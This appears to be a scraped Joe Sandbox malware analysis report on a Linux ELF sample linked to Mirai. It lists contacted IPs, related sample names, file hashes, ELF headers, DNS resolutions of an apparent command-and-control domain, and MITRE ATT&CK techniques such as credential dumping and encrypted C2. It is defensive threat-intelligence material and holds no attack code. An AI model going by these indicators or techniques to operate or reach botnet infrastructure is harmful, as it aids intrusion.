17.112.122.119	unknown	United States	714	APPLE-ENGINEERINGUS	false
130.239.117.224	unknown	Sweden	2833	SUNET-UMUSE	false
153.123.200.77	unknown	Japan	131921	GMOCLGMOCLOUDKKJP	false
179.190.83.157	unknown	Brazil	262441	FundValedoTaquarideEduceDesenvolvSocialBR	false
56.134.155.20	unknown	United States	2686	ATGS-MMD-ASUS	false
155.160.14.140	unknown	Japan	37532	ZAMRENZM	false
24.95.80.231	unknown	United States	10796	TWC-10796-MIDWESTUS	false
80.168.0.144	unknown	United Kingdom	8426	CLARANET-ASClaraNETLTDGB	false
48.253.161.197	unknown	United States	2686	ATGS-MMD-ASUS	false
204.88.232.118	unknown	United States	40248	CSL0-ASUS	false
79.163.53.98	unknown	Poland	5617	TPNETPL	false
205.49.249.124	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
41.72.33.98	unknown	Angola	37155	NETONEAO	false
108.7.110.46	unknown	United States	701	UUNETUS	false
109.2.101.15	unknown	France	15557	LDCOMNETFR	false
114.82.207.144	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
49.193.27.35	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
170.96.243.196	unknown	United States	18980	PEACEHEALTHUS	false
192.56.173.82	unknown	United States	20804	ASN-TELENERGOulPERKUNA47WARSZAWAPL	false
126.16.175.194	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
4.232.216.105	unknown	United States	3356	LEVEL3US	false
164.159.106.112	unknown	United States	22284	AS22284-DOI-OPSUS	false
184.86.166.197	unknown	United States	16625	AKAMAI-ASUS	false
110.19.154.51	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
79.118.113.132	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
106.97.89.19	unknown	Korea Republic of	17853	LGTELECOM-AS-KRLGTELECOMKR	false
192.138.36.69	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
73.175.163.183	unknown	United States	7922	COMCAST-7922US	false
208.130.202.100	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
34.164.237.192	unknown	United States	2686	ATGS-MMD-ASUS	false
7.43.210.104	unknown	United States	3356	LEVEL3US	false
30.129.27.170	unknown	United States	7922	COMCAST-7922US	false
130.36.133.89	unknown	United States	21899	ABBOTTUS	false
24.159.151.246	unknown	United States	20115	CHARTER-20115US	false
178.65.113.21	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
174.165.206.125	unknown	United States	7922	COMCAST-7922US	false
58.68.79.28	unknown	India	10201	DWL-AS-INDishnetWirelessLimitedBroadbandWirelessIN	false
202.123.207.62	unknown	Hong Kong	9925	HKTHOST-APPowerbaseDataCenterServicesHKLtdHK	false
22.13.121.32	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
153.90.184.76	unknown	United States	13476	MSU-BOZEMANUS	false
205.249.13.31	unknown	United States	3364	CSDCO-ASUS	false
61.180.197.110	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
172.47.92.1	unknown	United States	21928	T-MOBILE-AS21928US	false
132.30.244.57	unknown	United States	386	AFCONC-BLOCK1-ASUS	false
129.147.194.27	unknown	United States	31898	ORACLE-BMC-31898US	false
12.4.223.93	unknown	United States	7018	ATT-INTERNET4US	false
87.32.198.4	unknown	Ireland	1213	HEANETIE	false
85.168.47.75	unknown	France	21502	ASN-NUMERICABLEFR	false
158.158.1.169	unknown	Singapore	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
93.191.48.145	unknown	Germany	38927	NETBUILD-ASDE	false
215.168.186.219	unknown	United States	721	DNIC-ASBLK-00721-00726US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
209.70.135.18	sora.arm.elf	Get hash	malicious	Mirai	Browse
40.140.124.193	O5z0XZZ0zs.elf	Get hash	malicious	Mirai	Browse
51.228.224.171	agJUO6bGW6	Get hash	malicious	Mirai	Browse
91.167.38.251	RGjdmE54ZE.elf	Get hash	malicious	Mirai, Moobot	Browse
65.187.157.108	CvZasVxX0A	Get hash	malicious	Mirai	Browse
206.38.158.190	x86.akira.ak	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AVAYAUS	msoiruj.exe	Get hash	malicious	Gamarue	Browse	135.125.128.123
	7N7Lo1caw1.elf	Get hash	malicious	Mirai	Browse	148.147.21.187
	40nn9wqjPw.elf	Get hash	malicious	Unknown	Browse	135.9.220.245
	arm7.elf	Get hash	malicious	Mirai	Browse	135.96.211.171
	sDZf1h3xl6.elf	Get hash	malicious	Mirai	Browse	135.73.125.4
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	135.123.208.143
	BFUMwjM6kb.elf	Get hash	malicious	Mirai	Browse	135.99.14.63
	MX9Zd8SQhg.elf	Get hash	malicious	Mirai	Browse	135.79.60.176
	V5GJy6mb6o.elf	Get hash	malicious	Mirai	Browse	135.35.108.171
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	135.80.190.209
	eKU16GThtY.elf	Get hash	malicious	Mirai	Browse	135.63.88.73
	p3L8sbFwPm.elf	Get hash	malicious	Mirai	Browse	135.76.170.31
	pkZ5uRHF7Y.elf	Get hash	malicious	Mirai	Browse	135.78.162.168
	01KGqeBrDH.elf	Get hash	malicious	Mirai	Browse	135.66.252.213
	IpxoWztsg2.elf	Get hash	malicious	Unknown	Browse	135.96.210.96
	wZmXHRCDPB.elf	Get hash	malicious	Unknown	Browse	135.151.35.186
	JeH8V3b7Bt.elf	Get hash	malicious	Mirai	Browse	135.60.242.53
	7Zj5aOMsru.elf	Get hash	malicious	Mirai	Browse	135.66.164.250
	1gHZusf2qN.elf	Get hash	malicious	Unknown	Browse	135.99.204.170
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	135.83.183.61
WINDSTREAMUS	arm5.elf	Get hash	malicious	Unknown	Browse	64.91.194.162
	arm7.elf	Get hash	malicious	Mirai	Browse	209.110.224.215
	5R9V8icHfz.elf	Get hash	malicious	Mirai, Moobot	Browse	209.179.165.32
	skid.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	199.183.200.173
	tW89v9x9F4.elf	Get hash	malicious	Mirai	Browse	66.149.234.29
	db0fa4b8db0333367e9bda3ab68b8042.arm.elf	Get hash	malicious	Mirai	Browse	63.255.12.1
	x86.elf	Get hash	malicious	Mirai	Browse	75.92.93.204
	mpsl.elf	Get hash	malicious	Unknown	Browse	66.240.72.14
	Transcript.exe	Get hash	malicious	MyDoom	Browse	209.86.122.183
	sBuoig5ItF.elf	Get hash	malicious	Mirai	Browse	173.184.64.53
	sora.mips.elf	Get hash	malicious	Mirai	Browse	74.223.114.26
	5UpvyE4QVd.elf	Get hash	malicious	Unknown	Browse	64.206.190.240
	KY237QISTa.elf	Get hash	malicious	Mirai	Browse	207.217.225.223
	1FYNsY2F1u.elf	Get hash	malicious	Mirai	Browse	69.40.33.211
	SOdsqxqato.elf	Get hash	malicious	Unknown	Browse	40.134.248.185
	C2f80aQqyv.elf	Get hash	malicious	Mirai	Browse	206.245.141.57
	kRheyrmAko.elf	Get hash	malicious	Mirai	Browse	209.86.139.219
	V5GJy6mb6o.elf	Get hash	malicious	Mirai	Browse	209.92.249.79
	sora.x86.elf	Get hash	malicious	Mirai	Browse	98.18.0.47
	sora.arm.elf	Get hash	malicious	Mirai	Browse	63.131.65.140
AFCONC-BLOCK1-ASUS	mpsl.elf	Get hash	malicious	Unknown	Browse	131.38.143.196
	skid.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	132.28.11.115
	skid.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	131.50.222.82
	pcXpJqSmzM.elf	Get hash	malicious	Mirai, Moobot	Browse	131.47.78.124
	kD1MCiBy38.elf	Get hash	malicious	Mirai, Moobot	Browse	131.47.78.124
	db0fa4b8db0333367e9bda3ab68b8042.arm.elf	Get hash	malicious	Mirai	Browse	134.128.231.22
	40nn9wqjPw.elf	Get hash	malicious	Unknown	Browse	132.30.0.96
	eOIFF58KfU.elf	Get hash	malicious	Unknown	Browse	143.151.126.41
	mips.elf	Get hash	malicious	Unknown	Browse	133.178.4.199
	mpsl.elf	Get hash	malicious	Unknown	Browse	206.39.247.41
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	132.1.83.145
	oZasOwbAre.elf	Get hash	malicious	Mirai	Browse	137.11.84.174
	kRheyrmAko.elf	Get hash	malicious	Mirai	Browse	133.174.112.0
	Tlx593LQWo.elf	Get hash	malicious	Mirai	Browse	133.128.107.20
	dwA3Y86oKf.elf	Get hash	malicious	Unknown	Browse	143.144.150.241
	D8lTKTJ5nC.elf	Get hash	malicious	Mirai	Browse	132.34.176.232
	01KGqeBrDH.elf	Get hash	malicious	Mirai	Browse	131.42.214.20
	ayQzbgptBb.elf	Get hash	malicious	Unknown	Browse	131.3.232.1
	3NlKDxmZwm.elf	Get hash	malicious	Unknown	Browse	133.136.103.70
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	137.3.95.182

Process:	/tmp/JtRzcZTu3S.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	3.6195159495579734
Encrypted:	false
SSDEEP:	3:hVIRe6X9FQWUT5FFNFGR3DQiY/VVQFFQWUT5FFNFGR33TVl/VVdf/FVdVcv/VVdP:URe6gDF2jY/V7DF2FVl/VDM/V+4D/VH
MD5:	507B9119B1E11274CC381871E5668493
SHA1:	CCCC2509DA5850305283671DA17EB6722ED85C37
SHA-256:	8752360D9883CC4892DA1C122DD5640241093F12E9839B18CE8B0EBB7F399D02
SHA-512:	590D01D5A8AA142317A8D53D2F84A590677F7864D1170834994345DDAA9A014BF4A1121C0E2A5085B8A58A99DE0F6659A4D61D19F30BDD59BA4B28B29AE27EC0
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/JtRzcZTu3S.elf.41e000-41f000 rw-p 0000e000 fd:00 531606 /tmp/JtRzcZTu3S.elf.41f000-421000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.662080635051831
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	JtRzcZTu3S.elf
File size:	58'220 bytes
MD5:	2b899c6e7a51bdcec7217fc188cfc3aa
SHA1:	5d0dd2a8a891d86063220016f0f1a5065ee24df8
SHA256:	1f16218c07b8a92576430353007a28215333d03750150c08d5a6cf23a0dfb7e8
SHA512:	fbadf09b003d707c20bf383dd7186d559148c830102ea67a2b8a7e62346c40f6034c88fe68fafd6c062e505d89ccda4f078406a4770d5d3ef325f971a5843ada
SSDEEP:	1536:Ua3wtoCQ2bKDVqpo+HSN5Sy+CuVw8PlR:UAIQGKo4vSy+Vw
TLSH:	62438D77D539ADD4C14C42F4A92985781F03E314A2A22FFB9E84C665400BB78FA4D7F5
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@...........................A...A.p...............Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	57780
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xca00	0x0	0x6	AX	32
.fini	PROGBITS	0x40cae0	0xcae0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40cb04	0xcb04	0x110c	0x0	0x2	A	4
.ctors	PROGBITS	0x41e000	0xe000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41e008	0xe008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x41e010	0xe010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x41e014	0xe014	0x15c	0x0	0x3	WA	4
.bss	NOBITS	0x41e170	0xe170	0x1334	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xe170	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xdc10	0xdc10	6.7750	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xe000	0x41e000	0x41e000	0x170	0x14a4	0.8229	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.55	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.59	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.81	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	45.142.182.96	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	91.92.254.4	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.54	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.130	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.77	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.102	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.53	A (IP address)	IN (0x0001)	false
Nov 3, 2023 05:09:51.797409058 CET	195.10.195.195	192.168.2.23	0xcc71	No error (0)	edrnhe.oss	5.181.80.72	A (IP address)	IN (0x0001)	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report JtRzcZTu3S.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

PCAP (Network Traffic)

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0AMLFE (deleted)

/tmp/qemu-open.0MO4QB (deleted)

/tmp/qemu-open.0O8AjD (deleted)

/tmp/qemu-open.0lSE9A (deleted)

/tmp/qemu-open.0rEMKE (deleted)

/tmp/qemu-open.11e1oA (deleted)

/tmp/qemu-open.18NbFB (deleted)

/tmp/qemu-open.1CsN1B (deleted)

/tmp/qemu-open.1MstKE (deleted)

/tmp/qemu-open.1PAlDD (deleted)

/tmp/qemu-open.1eIe0D (deleted)

/tmp/qemu-open.2BPh6D (deleted)

/tmp/qemu-open.2KTfeA (deleted)

/tmp/qemu-open.2fI3nA (deleted)

/tmp/qemu-open.2nkqdC (deleted)

/tmp/qemu-open.2w5ELD (deleted)

/tmp/qemu-open.30EDvD (deleted)

/tmp/qemu-open.3B4A6A (deleted)

/tmp/qemu-open.3F4qfA (deleted)

/tmp/qemu-open.3NDqmD (deleted)

/tmp/qemu-open.3kvpJB (deleted)

/tmp/qemu-open.3mAZhB (deleted)

/tmp/qemu-open.3w4qJA (deleted)

/tmp/qemu-open.3wsqHB (deleted)

/tmp/qemu-open.46QGpE (deleted)

/tmp/qemu-open.4NlCqE (deleted)

/tmp/qemu-open.4THuPA (deleted)

/tmp/qemu-open.4cDc1A (deleted)

Linux Analysis Report
JtRzcZTu3S.elf

Start time (UTC):	04:09:49
Start date (UTC):	03/11/2023
Path:	/tmp/JtRzcZTu3S.elf
Arguments:	/tmp/JtRzcZTu3S.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:09:50
Start date (UTC):	03/11/2023
Path:	/tmp/JtRzcZTu3S.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:10:14
Start date (UTC):	03/11/2023
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre